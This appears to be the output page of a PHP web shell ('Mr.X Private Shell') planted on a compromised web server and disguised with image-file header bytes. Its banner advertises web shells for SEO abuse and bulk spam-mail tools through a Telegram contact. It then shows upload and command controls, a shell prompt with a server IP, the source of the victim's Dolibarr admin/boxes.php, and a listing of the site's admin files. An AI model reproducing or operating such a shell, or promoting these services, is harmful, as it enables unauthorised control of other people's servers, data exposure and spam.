����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bleepfrder@216.73.216.53: ~ $
<?php
/* Copyright (C) 2003-2005 Rodolphe Quiedeville <rodolphe@quiedeville.org>
 * Copyright (C) 2004-2013 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2005-2012 Regis Houssin        <regis.houssin@inodbox.com>
 * Copyright (C) 2015       Jean-François Ferry		<jfefe@aternatik.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *   \file       htdocs/admin/boxes.php
 *   \brief      Page to setup boxes
 */

require '../main.inc.php';
include_once DOL_DOCUMENT_ROOT.'/core/boxes/modules_boxes.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/infobox.class.php';
include_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';

// Load translation files required by the page
$langs->loadLangs(array('admin', 'boxes'));

if (! $user->admin) accessforbidden();

$rowid = GETPOST('rowid', 'int');
$action = GETPOST('action', 'alpha');


// Define possible position of boxes
$pos_name = InfoBox::getListOfPagesForBoxes();
$boxes = array();


/*
 * Actions
 */

if ($action == 'addconst')
{
    dolibarr_set_const($db, "MAIN_BOXES_MAXLINES", $_POST["MAIN_BOXES_MAXLINES"], '', 0, '', $conf->entity);
    dolibarr_set_const($db, "MAIN_ACTIVATE_FILECACHE", $_POST["MAIN_ACTIVATE_FILECACHE"], 'chaine', 0, '', $conf->entity);
}

if ($action == 'add') {
    $error=0;
    $db->begin();
    if (isset($_POST['boxid']) && is_array($_POST['boxid']))
    {
        foreach($_POST['boxid'] as $boxid)
        {
            if (is_numeric($boxid['pos']) && $boxid['pos'] >= 0)	// 0=Home, 1=...
            {
                $pos = $boxid['pos'];

                // Initialize distinct fkuser with all already existing values of fk_user (user that use a personalized view of boxes for page "pos")
                $distinctfkuser=array();
                if (! $error)
                {
                    $sql = "SELECT fk_user";
                    $sql.= " FROM ".MAIN_DB_PREFIX."user_param";
                    $sql.= " WHERE param = 'MAIN_BOXES_".$db->escape($pos)."' AND value = '1'";
                    $sql.= " AND entity = ".$conf->entity;
                    dol_syslog("boxes.php search fk_user to activate box for", LOG_DEBUG);
                    $resql = $db->query($sql);
                    if ($resql)
                    {
                        $num = $db->num_rows($resql);
                        $i=0;
                        while ($i < $num)
                        {
                            $obj=$db->fetch_object($resql);
                            $distinctfkuser[$obj->fk_user]=$obj->fk_user;
                            $i++;
                        }
                    }
                    else
                    {
                        setEventMessages($db->lasterror(), null, 'errors');
                        $error++;
                    }
                }

                $distinctfkuser['0']='0';	// Add entry for fk_user = 0. We must use string as key and val

                foreach($distinctfkuser as $fk_user)
                {
                    if (! $error && $fk_user != '')
                    {
                        $nbboxonleft=$nbboxonright=0;
                        $sql = "SELECT box_order FROM ".MAIN_DB_PREFIX."boxes WHERE position = ".$pos." AND fk_user = ".$fk_user." AND entity = ".$conf->entity;
                        dol_syslog("boxes.php activate box", LOG_DEBUG);
                        $resql = $db->query($sql);
                        if ($resql)
                        {
                            while($obj = $db->fetch_object($resql))
                            {
                                $boxorder=$obj->box_order;
                                if (preg_match('/A/', $boxorder)) $nbboxonleft++;
                                if (preg_match('/B/', $boxorder)) $nbboxonright++;
                            }
                        }
                        else dol_print_error($db);

                        $sql = "INSERT INTO ".MAIN_DB_PREFIX."boxes (";
                        $sql.= "box_id, position, box_order, fk_user, entity";
                        $sql.= ") values (";
                        $sql.= $boxid['value'].", ".$pos.", '".(($nbboxonleft > $nbboxonright) ? 'B01' : 'A01')."', ".$fk_user.", ".$conf->entity;
                        $sql.= ")";

                        dol_syslog("boxes.php activate box", LOG_DEBUG);
                        $resql = $db->query($sql);
                        if (! $resql)
                        {
                            setEventMessages($db->lasterror(), null, 'errors');
                            $error++;
                        }
                    }
                }
            }
        }
    }
    if (! $error)
    {
        $db->commit();
        $action='';
    }
    else
    {
        $db->rollback();
    }
}

if ($action == 'delete')
{
	$sql = "SELECT box_id FROM ".MAIN_DB_PREFIX."boxes";
	$sql.= " WHERE rowid=".$rowid;

	$resql = $db->query($sql);
	$obj=$db->fetch_object($resql);
    if (! empty($obj->box_id))
    {
	    $db->begin();

    	// Remove all personalized setup when a box is activated or disabled (why removing all ? We removed only removed boxes)
        //	$sql = "DELETE FROM ".MAIN_DB_PREFIX."user_param";
        //	$sql.= " WHERE param LIKE 'MAIN_BOXES_%'";
        //	$resql = $db->query($sql);

	    $sql = "DELETE FROM ".MAIN_DB_PREFIX."boxes";
	    $sql.= " WHERE entity = ".$conf->entity;
    	$sql.= " AND box_id=".$obj->box_id;

    	$resql = $db->query($sql);

    	$db->commit();
    }
}

if ($action == 'switch')
{
	// On permute les valeur du champ box_order des 2 lignes de la table boxes
	$db->begin();

	$objfrom=new ModeleBoxes($db);
	$objfrom->fetch($_GET["switchfrom"]);

	$objto=new ModeleBoxes($db);
	$objto->fetch($_GET["switchto"]);

	$resultupdatefrom=0;
	$resultupdateto=0;
	if (is_object($objfrom) && is_object($objto))
	{
	    $newfirst=$objto->box_order;
		$newsecond=$objfrom->box_order;
	    if ($newfirst == $newsecond)
	    {
	         $newsecondchar=preg_replace('/[0-9]+/', '', $newsecond);
	         $newsecondnum=preg_replace('/[a-zA-Z]+/', '', $newsecond);
	         $newsecond=sprintf("%s%02d", $newsecondchar?$newsecondchar:'A', $newsecondnum+1);
	    }
		$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order='".$newfirst."' WHERE rowid=".$objfrom->rowid;
		dol_syslog($sql);
		$resultupdatefrom = $db->query($sql);
		if (! $resultupdatefrom) { dol_print_error($db); }

		$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order='".$newsecond."' WHERE rowid=".$objto->rowid;
		dol_syslog($sql);
		$resultupdateto = $db->query($sql);
		if (! $resultupdateto) { dol_print_error($db); }
	}

	if ($resultupdatefrom && $resultupdateto)
	{
		$db->commit();
	}
	else
	{
		$db->rollback();
	}
}


/*
 * View
 */

$form=new Form($db);

llxHeader('', $langs->trans("Boxes"));

print load_fiche_titre($langs->trans("Boxes"), '', 'title_setup');

print $langs->trans("BoxesDesc")." ".$langs->trans("OnlyActiveElementsAreShown")."<br>\n";

/*
 * Recherche des boites actives par defaut pour chaque position possible
 * On stocke les boites actives par defaut dans $boxes[position][id_boite]=1
 */

$actives = array();

$sql = "SELECT b.rowid, b.box_id, b.position, b.box_order,";
$sql.= " bd.rowid as boxid";
$sql.= " FROM ".MAIN_DB_PREFIX."boxes as b, ".MAIN_DB_PREFIX."boxes_def as bd";
$sql.= " WHERE b.box_id = bd.rowid";
$sql.= " AND b.entity IN (0,".$conf->entity.")";
$sql.= " AND b.fk_user=0";
$sql.= " ORDER by b.position, b.box_order";

dol_syslog("Search available boxes", LOG_DEBUG);
$resql = $db->query($sql);
if ($resql)
{
	$num = $db->num_rows($resql);

	// Check record to know if we must recalculate sort order
	$i = 0;
	$decalage=0;
	while ($i < $num)
	{
		$obj = $db->fetch_object($resql);
		$boxes[$obj->position][$obj->box_id]=1;
		$i++;

		array_push($actives, $obj->box_id);

		if ($obj->box_order == '' || $obj->box_order == '0' || $decalage) $decalage++;
		// On renumerote l'ordre des boites si l'une d'elle est a ''
		// This occurs just after an insert.
		if ($decalage)
		{
			$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order='".$decalage."' WHERE rowid=".$obj->rowid;
			$db->query($sql);
		}
	}

	if ($decalage)
	{
	    // Si on a renumerote, on corrige champ box_order
		// This occurs just after an insert.
		$sql = "SELECT box_order";
		$sql.= " FROM ".MAIN_DB_PREFIX."boxes";
		$sql.= " WHERE entity = ".$conf->entity;
		$sql.= " AND LENGTH(box_order) <= 2";

		dol_syslog("Execute requests to renumber box order", LOG_DEBUG);
		$result = $db->query($sql);
		if ($result)
		{
			while ($record = $db->fetch_array($result))
			{
				if (dol_strlen($record['box_order']) == 1)
				{
					if (preg_match("/[13579]{1}/", substr($record['box_order'], -1)))
					{
						$box_order = "A0".$record['box_order'];
						$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order = '".$box_order."' WHERE entity = ".$conf->entity." AND box_order = '".$record['box_order']."'";
						$resql = $db->query($sql);
					}
					elseif (preg_match("/[02468]{1}/", substr($record['box_order'], -1)))
					{
						$box_order = "B0".$record['box_order'];
						$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order = '".$box_order."' WHERE entity = ".$conf->entity." AND box_order = '".$record['box_order']."'";
						$resql = $db->query($sql);
					}
				}
				elseif (dol_strlen($record['box_order']) == 2)
				{
					if (preg_match("/[13579]{1}/", substr($record['box_order'], -1)))
					{
						$box_order = "A".$record['box_order'];
						$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order = '".$box_order."' WHERE entity = ".$conf->entity." AND box_order = '".$record['box_order']."'";
						$resql = $db->query($sql);
					}
					elseif (preg_match("/[02468]{1}/", substr($record['box_order'], -1)))
					{
						$box_order = "B".$record['box_order'];
						$sql="UPDATE ".MAIN_DB_PREFIX."boxes SET box_order = '".$box_order."' WHERE entity = ".$conf->entity." AND box_order = '".$record['box_order']."'";
						$resql = $db->query($sql);
					}
				}
			}
		}
	}
	$db->free($resql);
}

// Available boxes to activate
$boxtoadd=InfoBox::listBoxes($db, 'available', -1, null, $actives);
// Activated boxes
$boxactivated=InfoBox::listBoxes($db, 'activated', -1, null);

print "<br>\n";
print "\n\n".'<!-- Boxes Available -->'."\n";
print load_fiche_titre($langs->trans("BoxesAvailable"));

print '<form action="'.$_SERVER["PHP_SELF"].'" method="POST">'."\n";
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">'."\n";
print '<input type="hidden" name="action" value="add">'."\n";

print '<div class="div-table-responsive-no-min">';
print '<table class="tagtable liste centpercent">'."\n";

print '<tr class="liste_titre">';
print '<td width="300">'.$langs->trans("Box").'</td>';
print '<td>'.$langs->trans("Note").'/'.$langs->trans("Parameters").'</td>';
print '<td>'.$langs->trans("SourceFile").'</td>';
print '<td width="160" class="center">'.$langs->trans("ActivateOn").'</td>';
print "</tr>\n";

foreach($boxtoadd as $box)
{
    if (preg_match('/^([^@]+)@([^@]+)$/i', $box->boximg))
    {
        $logo = $box->boximg;
    }
    else
    {
        $logo=preg_replace("/^object_/i", "", $box->boximg);
    }

    print "\n".'<!-- Box '.$box->boxcode.' -->'."\n";
    print '<tr class="oddeven">'."\n";
    print '<td>'.img_object("", $logo).' '.$langs->transnoentitiesnoconv($box->boxlabel);
    if (! empty($box->class) && preg_match('/graph_/', $box->class)) print ' ('.$langs->trans("Graph").')';
    print '</td>'."\n";
    print '<td>';
    if ($box->note == '(WarningUsingThisBoxSlowDown)')
    {
    	$langs->load("errors");
    	print $langs->trans("WarningUsingThisBoxSlowDown");
    }
	else print ($box->note?$box->note:'&nbsp;');
    print '</td>'."\n";
    print '<td>' . $box->sourcefile . '</td>'."\n";

    // Pour chaque position possible, on affiche un lien d'activation si boite non deja active pour cette position
    print '<td class="center">';
    print $form->selectarray("boxid[".$box->box_id."][pos]", $pos_name, 0, 1, 0, 0, '', 1)."\n";
    print '<input type="hidden" name="boxid['.$box->box_id.'][value]" value="'.$box->box_id.'">'."\n";
    print '</td>';

    print '</tr>'."\n";
}
if (! count($boxtoadd) && count($boxactivated))
{
	print '<tr><td class="opacitymedium" colspan="4">'.$langs->trans("AllWidgetsWereEnabled").'</td></tr>';
}
print '</table>'."\n";
print '</div>';

print '<div class="right">';
print '<input type="submit" class="button"'.(count($boxtoadd)?'':' disabled').' value="'.$langs->trans("Activate").'">';
print '</div>'."\n";
print '</form>';
print "\n".'<!-- End Boxes Available -->'."\n";


//var_dump($boxactivated);
print "<br>\n\n";
print load_fiche_titre($langs->trans("BoxesActivated"));

print '<div class="div-table-responsive-no-min">';
print '<table class="tagtable liste">'."\n";

print '<tr class="liste_titre">';
print '<td width="300">'.$langs->trans("Box").'</td>';
print '<td>'.$langs->trans("Note").'/'.$langs->trans("Parameters").'</td>';
print '<td class="center" width="160">'.$langs->trans("ActiveOn").'</td>';
print '<td class="center" width="60" colspan="2">'.$langs->trans("PositionByDefault").'</td>';
print '<td class="center" width="80">'.$langs->trans("Disable").'</td>';
print '</tr>'."\n";

$box_order=1;
$foundrupture=1;
foreach($boxactivated as $key => $box)
{
	if (preg_match('/^([^@]+)@([^@]+)$/i', $box->boximg))
	{
		$logo = $box->boximg;
	}
	else
	{
		$logo=preg_replace("/^object_/i", "", $box->boximg);
	}

    print "\n".'<!-- Box '.$box->boxcode.' -->'."\n";
	print '<tr class="oddeven">';
	print '<td>'.img_object("", $logo).' '.$langs->transnoentitiesnoconv($box->boxlabel);
	if (! empty($box->class) && preg_match('/graph_/', $box->class)) print ' ('.$langs->trans("Graph").')';
	print '</td>';
	print '<td>';
	if ($box->note == '(WarningUsingThisBoxSlowDown)')
	{
		$langs->load("errors");
		print img_warning('', 0).' '.$langs->trans("WarningUsingThisBoxSlowDown");
	}
	else print ($box->note?$box->note:'&nbsp;');
	print '</td>';
	print '<td class="center">' . (empty($pos_name[$box->position])?'':$langs->trans($pos_name[$box->position])) . '</td>';
	$hasnext=($key < (count($boxactivated)-1));
	$hasprevious=($key != 0);
	print '<td class="center">'.($key+1).'</td>';
	print '<td class="center">';
	print ($hasnext?'<a href="boxes.php?action=switch&amp;switchfrom='.$box->rowid.'&amp;switchto='.$boxactivated[$key+1]->rowid.'">'.img_down().'</a>&nbsp;':'');
	print ($hasprevious?'<a href="boxes.php?action=switch&amp;switchfrom='.$box->rowid.'&amp;switchto='.$boxactivated[$key-1]->rowid.'">'.img_up().'</a>':'');
	print '</td>';
	print '<td class="center">';
	print '<a href="boxes.php?rowid='.$box->rowid.'&amp;action=delete">'.img_delete().'</a>';
	print '</td>';

	print '</tr>'."\n";
}

print '</table>';
print '</div>';
print '<br>';


// Other parameters

print "\n\n".'<!-- Other Const -->'."\n";
print load_fiche_titre($langs->trans("Other"));
print '<form action="'.$_SERVER["PHP_SELF"].'" method="POST">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="addconst">';
print '<table class="noborder" width="100%">';

print '<tr class="liste_titre">';
print '<td class="liste_titre">'.$langs->trans("Parameter").'</td>';
print '<td class="liste_titre">'.$langs->trans("Value").'</td>';
print '</tr>';

print '<tr class="oddeven">';
print '<td>';
print $langs->trans("MaxNbOfLinesForBoxes");
print '</td>'."\n";
print '<td>';
print '<input type="text" class="flat" size="6" name="MAIN_BOXES_MAXLINES" value="'.$conf->global->MAIN_BOXES_MAXLINES.'">';
print '</td>';
print '</tr>';

// Activate FileCache - Developement
if ($conf->global->MAIN_FEATURES_LEVEL == 2 || ! empty($conf->global->MAIN_ACTIVATE_FILECACHE)) {

    print '<tr class="oddeven"><td width="35%">'.$langs->trans("EnableFileCache").'</td><td>';
    print $form->selectyesno('MAIN_ACTIVATE_FILECACHE', $conf->global->MAIN_ACTIVATE_FILECACHE, 1);
    print '</td>';
    print '</tr>';
}

print '</table>';

print '<div class="center"><input type="submit" class="button" value="'.$langs->trans("Save").'" name="Button"></div>';

print '</form>';
print "\n".'<!-- End Other Const -->'."\n";

// End of page
llxFooter();
$db->close();

Filemanager

Name Type Size Permission Actions
dolistore Folder 0755
menus Folder 0755
system Folder 0755
tools Folder 0755
accountant.php File 12.11 KB 0644
agenda.php File 6.9 KB 0644
agenda_extrafields.php File 4.05 KB 0644
agenda_extsites.php File 8.28 KB 0644
agenda_other.php File 13.79 KB 0644
agenda_reminder.php File 7.64 KB 0644
agenda_xcal.php File 8.51 KB 0644
bank.php File 15.28 KB 0644
bank_extrafields.php File 3.94 KB 0644
barcode.php File 13.3 KB 0644
bom.php File 19.14 KB 0644
boxes.php File 16.47 KB 0644
chequereceipts.php File 9.19 KB 0644
clicktodial.php File 4.96 KB 0644
commande.php File 22.97 KB 0644
commande_fournisseur_dispatch_extrafields.php File 4.2 KB 0644
company.php File 50.66 KB 0644
compta.php File 5.06 KB 0644
confexped.php File 4.44 KB 0644
const.php File 8.76 KB 0644
contract.php File 16.82 KB 0644
dav.php File 5.44 KB 0644
debugbar.php File 3.63 KB 0644
defaultvalues.php File 15.43 KB 0644
delais.php File 14.61 KB 0644
dict.php File 98.49 KB 0644
ecm.php File 2.96 KB 0644
emailcollector_card.php File 26.66 KB 0644
emailcollector_list.php File 22.51 KB 0644
events.php File 3.34 KB 0644
expedition.php File 17.34 KB 0644
expedition_extrafields.php File 4.12 KB 0644
expeditiondet_extrafields.php File 4.18 KB 0644
expensereport.php File 16.41 KB 0644
expensereport_extrafields.php File 4.06 KB 0644
expensereport_ik.php File 6.15 KB 0644
expensereport_rules.php File 11.07 KB 0644
export.php File 3.09 KB 0644
external_rss.php File 9.84 KB 0644
facture.php File 31.87 KB 0644
fckeditor.php File 7.85 KB 0644
fichinter.php File 21.23 KB 0644
geoipmaxmind.php File 4.88 KB 0644
holiday.php File 17.15 KB 0644
ihm.php File 25.84 KB 0644
index.php File 5.01 KB 0644
ldap.php File 12.66 KB 0644
ldap_contacts.php File 14.99 KB 0644
ldap_groups.php File 9.14 KB 0644
ldap_members.php File 19.96 KB 0644
ldap_members_types.php File 8.77 KB 0644
ldap_users.php File 19.88 KB 0644
limits.php File 11.75 KB 0644
livraison.php File 15.98 KB 0644
livraison_extrafields.php File 4.12 KB 0644
livraisondet_extrafields.php File 4.19 KB 0644
loan.php File 3.23 KB 0644
mailing.php File 5.43 KB 0644
mailman.php File 7.97 KB 0644
mails.php File 37.39 KB 0644
mails_emailing.php File 25.29 KB 0644
mails_senderprofile_list.php File 19.89 KB 0644
mails_templates.php File 45.42 KB 0644
menus.php File 9.94 KB 0644
modulehelp.php File 18.72 KB 0644
modules.php File 47.46 KB 0644
multicurrency.php File 12.68 KB 0644
notification.php File 10.78 KB 0644
oauth.php File 4.75 KB 0644
oauthlogintokens.php File 13.62 KB 0644
openinghours.php File 7.95 KB 0644
order_extrafields.php File 3.99 KB 0644
orderdet_extrafields.php File 4.07 KB 0644
payment.php File 9.93 KB 0644
pdf.php File 22.38 KB 0644
perms.php File 6.58 KB 0644
prelevement.php File 19.35 KB 0644
propal.php File 25.24 KB 0644
proxy.php File 6.78 KB 0644
receiptprinter.php File 16.75 KB 0644
reception_extrafields.php File 4.11 KB 0644
reception_setup.php File 16.96 KB 0644
resource.php File 4.14 KB 0644
resource_extrafields.php File 3.96 KB 0644
salaries.php File 3.23 KB 0644
security.php File 15.86 KB 0644
security_file.php File 6.91 KB 0644
security_other.php File 6.11 KB 0644
sms.php File 11.31 KB 0644
socialnetworks.php File 3.21 KB 0644
spip.php File 4.88 KB 0644
stock.php File 16.71 KB 0644
supplier_invoice.php File 18.5 KB 0644
supplier_order.php File 21.15 KB 0644
supplier_payment.php File 16.44 KB 0644
supplier_proposal.php File 20.35 KB 0644
supplierinvoice_extrafields.php File 4.13 KB 0644
supplierinvoicedet_extrafields.php File 4.2 KB 0644
supplierorder_extrafields.php File 4.05 KB 0644
supplierorderdet_extrafields.php File 4.12 KB 0644
syslog.php File 10.12 KB 0644
taxes.php File 8.8 KB 0644
ticket.php File 18.65 KB 0644
ticket_extrafields.php File 3.8 KB 0644
ticket_public.php File 17.54 KB 0644
translation.php File 22.63 KB 0644
triggers.php File 2.7 KB 0644
user.php File 11.4 KB 0644
usergroup.php File 10.14 KB 0644
website.php File 23.24 KB 0644
website_options.php File 4.65 KB 0644
workflow.php File 7.02 KB 0644